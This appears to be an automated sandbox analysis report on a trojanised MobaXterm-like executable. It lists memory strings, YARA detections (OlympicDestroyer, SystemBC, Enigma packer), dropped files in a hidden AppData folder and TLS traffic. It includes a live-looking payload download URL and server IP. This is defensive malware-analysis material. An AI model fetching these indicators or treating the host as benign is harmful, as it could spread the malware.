Source: T2dvU8f2xg.exe	String found in binary or memory: https://ssh.0523qyfw.com/MobServe.dll
Source: T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://vorillaz.github.io/devicons)
Source: T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://vorillaz.github.io/devicons/#/about)
Source: T2dvU8f2xg.exe, 00000000.00000003.1405025846.000000000B9FA000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1465043904.00000000FCBC3000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1445203638.000000000B8B5000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDB60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/
Source: T2dvU8f2xg.exe, 00000000.00000003.1405025846.000000000B9FA000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/open%s
Source: T2dvU8f2xg.exe, 00000000.00000003.1465043904.00000000FCBC3000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1445203638.000000000B8B5000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDB60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/openputtygen-save-passphrase-hashingputtygen-save
Source: T2dvU8f2xg.exe, 00000000.00000003.1356593070.000000000A157000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=
Source: T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1391574364.000000000B4BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.fr

Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown

HTTPS traffic detected: 118.107.29.172:443 -> 192.168.2.10:49723 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe

Code function: 7_2_0052D84D winClipboardFlushXEvents,winDebug,winDebug,winDebug,GetOpenClipboardWindow,CloseClipboard,OpenClipboard,GetLastError,ErrorF,EmptyClipboard,GetLastError,ErrorF,SetClipboardData,CloseClipboard,GetLastError,ErrorF,ErrorF,xcb_connection_has_error,ErrorF,xcb_poll_for_event,

7_2_0052D84D

Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe

7_2_0052D84D

Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe

Code function: 7_2_00407FE1 winRestoreModeKeyStates,mieqProcessInputEvents,winDebug,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,winSendKeyEvent,winSendKeyEvent,winSendKeyEvent,winSendKeyEvent,winSendKeyEvent,winSendKeyEvent,GetKeyState,winSendKeyEvent,winSendKeyEvent,GetKeyState,winSendKeyEvent,winSendKeyEvent,GetKeyState,winSendKeyEvent,winSendKeyEvent,GetKeyState,winSendKeyEvent,winSendKeyEvent,

7_2_00407FE1

Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe

Code function: 7_2_00418440 winWindowProc@16,GetPropA,winHandleIconMessage,RegisterWindowMessageA,SetPropA,SetPropA,winInitNotifyIcon,winDebug,FatalError,ErrorF,GetSystemMetrics,ErrorF,GetDeviceCaps,ErrorF,winDisplayDepthChangeDialog,ShowWindow,ErrorF,GetSystemMetrics,GetSystemMetrics,QueryMonitor,ErrorF,winUpdateDpi,winDoRandRScreenSetSize,winDebug,ErrorF,GetWindowRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,SetScrollInfo,SetScrollInfo,GetScrollInfo,GetScrollInfo,PostMessageA,ErrorF,ErrorF,GetClientRect,winDoRandRScreenSetSize,GetScrollInfo,SetScrollInfo,GetScrollInfo,ScrollWindowEx,UpdateWindow,GetScrollInfo,SetScrollInfo,GetScrollInfo,ScrollWindowEx,UpdateWindow,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,miPointerGetScreen,miPointerSetScreen,memset,TrackMouseEvent,ErrorF,ShowCursor,ShowCursor,winEnqueueMotion,ShowCursor,ShowCursor,SetCapture,winMouseButtonsHandle,ReleaseCapture,winMouseButtonsHandle,SetCapture,winMouseButtonsHandle,ReleaseCapture,winMouseButtonsHandle,SetCapture,winMouseButtonsHandle,ReleaseCapture,winMouseButtonsHandle,SetCapture,winMouseButtonsHandle,ReleaseCapture,winMouseButtonsHandle,winMouseButtonsSendEvent,KillTimer,GetCursorPos,GetSystemMetrics,GetSystemMetrics,winEnqueueMotion,GetCursorPos,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,PostMessageA,PostMessageA,PostMessageA,FatalError,winMouseWheel,winMouseWheel,winRestoreModeKeyStates,winInstallKeyboardHookLL,winKeybdReleaseKeys,winRemoveKeyboardHookLL,GetKeyState,GetKeyState,GetKeyState,ErrorF,winDisplayExitDialog,winIsFakeCtrl_L,winCheckKeyPressed,winTranslateKey,winSendKeyEvent,winIsFakeCtrl_L,winTranslateKey,winSendKeyEvent,winFixShiftKeys,ErrorF,ShowWindow,SetActiveWindow,ShowWindow,ShowCursor,winDebug,ShowCursor,winDisplayExitDialog,ShowWindow,ShowWindow,winDisplayAboutDialog,HandleCustomWM_COMMAND,winDeinitMultiWindowWM,GiveUp,winDisplayExitDialog,SetCursor,winInitNotifyIcon,DefWindowProcA,

7_2_00418440

Source: Yara match	File source: T2dvU8f2xg.exe, type: SAMPLE
Source: Yara match	File source: 0.0.T2dvU8f2xg.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: Process Memory Space: T2dvU8f2xg.exe PID: 7852, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: T2dvU8f2xg.exe, type: SAMPLE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: T2dvU8f2xg.exe, type: SAMPLE	Matched rule: Detects executables packed with Enigma Author: ditekSHen
Source: T2dvU8f2xg.exe, type: SAMPLE	Matched rule: Detects packed executables observed in Molerats Author: ditekSHen
Source: T2dvU8f2xg.exe, type: SAMPLE	Matched rule: Detects SystemBC Author: ditekSHen
Source: 0.2.T2dvU8f2xg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables packed with Enigma Author: ditekSHen
Source: 0.0.T2dvU8f2xg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables packed with Enigma Author: ditekSHen
Source: 0.2.T2dvU8f2xg.exe.10000000.6.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 6.0.MobServe.exe.7ff658940000.0.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 5.0.MobServe.exe.7ff658940000.0.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 0.0.T2dvU8f2xg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables packed with Enigma Author: ditekSHen
Source: 0.0.T2dvU8f2xg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects SystemBC Author: ditekSHen
Source: 0.2.T2dvU8f2xg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables packed with Enigma Author: ditekSHen
Source: 6.2.MobServe.exe.7ff658940000.0.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 5.2.MobServe.exe.7ff658940000.3.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 00000000.00000000.1315996686.0000000000400000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects executables packed with Enigma Author: ditekSHen
Source: 00000000.00000002.3779477780.0000000000400000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects executables packed with Enigma Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\MobServe[1].exe, type: DROPPED	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: C:\Users\user\AppData\Local\Temp\temp_MobServe.exe, type: DROPPED	Matched rule: OlympicDestroyer Payload Author: kevoreilly

PE file has nameless sections

Source: evb52F2.tmp.0.dr

Static PE information: section name:

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process Stats: CPU usage > 49%
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10271870	0_2_10271870
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000E020	0_2_1000E020
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_101D0020	0_2_101D0020
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000D080	0_2_1000D080
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_100080F0	0_2_100080F0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10004106	0_2_10004106
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000E150	0_2_1000E150
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_100101E9	0_2_100101E9
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_100061F0	0_2_100061F0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10003200	0_2_10003200
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10200230	0_2_10200230
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10192230	0_2_10192230
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000F2A0	0_2_1000F2A0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10006320	0_2_10006320
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_102353C0	0_2_102353C0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_100073F0	0_2_100073F0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10012405	0_2_10012405
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10230410	0_2_10230410
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10008497	0_2_10008497
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_100064D0	0_2_100064D0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1006E4D0	0_2_1006E4D0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10265530	0_2_10265530
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_101DE550	0_2_101DE550
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10237550	0_2_10237550
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_102015E0	0_2_102015E0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10001600	0_2_10001600
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1006C770	0_2_1006C770
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000D7A0	0_2_1000D7A0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_100047A9	0_2_100047A9
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000985D	0_2_1000985D
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10006870	0_2_10006870
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_101B0860	0_2_101B0860
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1021F8D0	0_2_1021F8D0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10001960	0_2_10001960
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10001961	0_2_10001961
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000997D	0_2_1000997D
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000FA20	0_2_1000FA20
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10009A59	0_2_10009A59
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10004A60	0_2_10004A60
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10007A70	0_2_10007A70
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10002AB0	0_2_10002AB0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10001B70	0_2_10001B70
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_101A9BA0	0_2_101A9BA0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10011BDF	0_2_10011BDF
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000CC50	0_2_1000CC50
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10008C60	0_2_10008C60
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1005AD90	0_2_1005AD90
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_101E0DC0	0_2_101E0DC0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10006E00	0_2_10006E00
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10008E11	0_2_10008E11
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000FE50	0_2_1000FE50
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10270E70	0_2_10270E70
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10005E80	0_2_10005E80
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000EE80	0_2_1000EE80
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000DEC0	0_2_1000DEC0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_101F5EE0	0_2_101F5EE0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000DF2C	0_2_1000DF2C
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10002F30	0_2_10002F30
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10002F31	0_2_10002F31
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10008F5B	0_2_10008F5B
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000AF80	0_2_1000AF80
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10069F80	0_2_10069F80
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000BFC9	0_2_1000BFC9
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10149FC0	0_2_10149FC0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_102A0FF2	0_2_102A0FF2
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Code function: 5_2_000001FC45070000	5_2_000001FC45070000
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_0043C01C	7_2_0043C01C
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_005CB100	7_2_005CB100
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_005CB2D0	7_2_005CB2D0
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_0043E2D9	7_2_0043E2D9
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_0058C369	7_2_0058C369
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_005BF440	7_2_005BF440
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_004334F4	7_2_004334F4
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_004344B0	7_2_004344B0
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_0065FE10	7_2_0065FE10
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_00439F0D	7_2_00439F0D

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: String function: 10057780 appears 273 times
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: String function: 102A08C0 appears 160 times
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: String function: 100695A0 appears 31 times
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: String function: 1004E9B2 appears 41 times
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: String function: 1006B1E0 appears 34 times
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: String function: 10050C90 appears 39 times
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: String function: 1005A2E0 appears 58 times
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: String function: 10050F20 appears 64 times
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: String function: 10195A40 appears 56 times
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: String function: 10050D20 appears 308 times
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: String function: 10057A60 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: String function: 0052E460 appears 93 times
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: String function: 00660C50 appears 203 times
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: String function: 005B30DC appears 582 times
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: String function: 0040957F appears 186 times
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: String function: 0042ADF3 appears 415 times
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: String function: 00669E98 appears 109 times
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: String function: 005B29CD appears 76 times
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: String function: 005B2FF6 appears 43 times
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: String function: 005B3126 appears 66 times
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: String function: 00409550 appears 31 times

Source: temp_MobServe.exe.0.dr	Static PE information: Number of sections : 24 > 10
Source: XWin_MobaX_21.1.8.exe.0.dr	Static PE information: Number of sections : 11 > 10
Source: XWin_MobaX_21.1.3.exe.0.dr	Static PE information: Number of sections : 11 > 10
Source: MobServe[1].exe.0.dr	Static PE information: Number of sections : 24 > 10
Source: libwinpthread-1.dll.0.dr	Static PE information: Number of sections : 11 > 10
Source: XWin_MobaX.exe.0.dr	Static PE information: Number of sections : 11 > 10
Source: jwm.exe.0.dr	Static PE information: Number of sections : 11 > 10

Source: T2dvU8f2xg.exe, 00000000.00000003.1628398864.00000000FC1AA000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWinPthreadGCp( vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.1351407496.0000000007511000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobaKeyGenj% vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMoTTYj% vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.1531130821.0000000009C23000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWinPthreadGCp( vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.1689565677.00000000090C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobaX. vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000002.3785089839.0000000001AE9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobaX0 vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.1431585166.000000000AB98000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMoTTYj% vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.1364273319.000000000A1D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NOINVERT ORIGINALFILENAME vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.1349687393.000000000832D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobAgentj% vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.1445804936.000000000C4A2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobaKeyGenj% vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobaSCP: vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000002.3848598695.0000000009247000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobAgentj% vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.1680963161.00000000FFD27000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobaX. vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.1391936069.000000000A7B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobaRTE0 vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMoTTYj% vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMoTTYj% vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobAgentj% vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.1350237895.0000000007439000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobAgentj% vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.1397982376.000000000AFE6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobaSCP: vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.1465043904.00000000FCD73000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: NOINVERT ORIGINALFILENAME vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobaRTE0 vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobaSCP: vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.1618082385.00000000FDF29000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWinPthreadGCp( vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDB60000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobAgentj% vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDB60000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobaKeyGenj% vs T2dvU8f2xg.exe

Source: T2dvU8f2xg.exe, type: SAMPLE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: T2dvU8f2xg.exe, type: SAMPLE	Matched rule: INDICATOR_EXE_Packed_Enigma snort2_sid = 930052-930054, author = ditekSHen, description = Detects executables packed with Enigma, snort3_sid = 930018
Source: T2dvU8f2xg.exe, type: SAMPLE	Matched rule: INDICATOR_EXE_Packed_Loader author = ditekSHen, description = Detects packed executables observed in Molerats
Source: T2dvU8f2xg.exe, type: SAMPLE	Matched rule: MALWARE_Win_EXEPWSH_DLAgent author = ditekSHen, description = Detects SystemBC
Source: 0.2.T2dvU8f2xg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_EXE_Packed_Enigma snort2_sid = 930052-930054, author = ditekSHen, description = Detects executables packed with Enigma, snort3_sid = 930018
Source: 0.0.T2dvU8f2xg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_EXE_Packed_Enigma snort2_sid = 930052-930054, author = ditekSHen, description = Detects executables packed with Enigma, snort3_sid = 930018
Source: 0.2.T2dvU8f2xg.exe.10000000.6.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
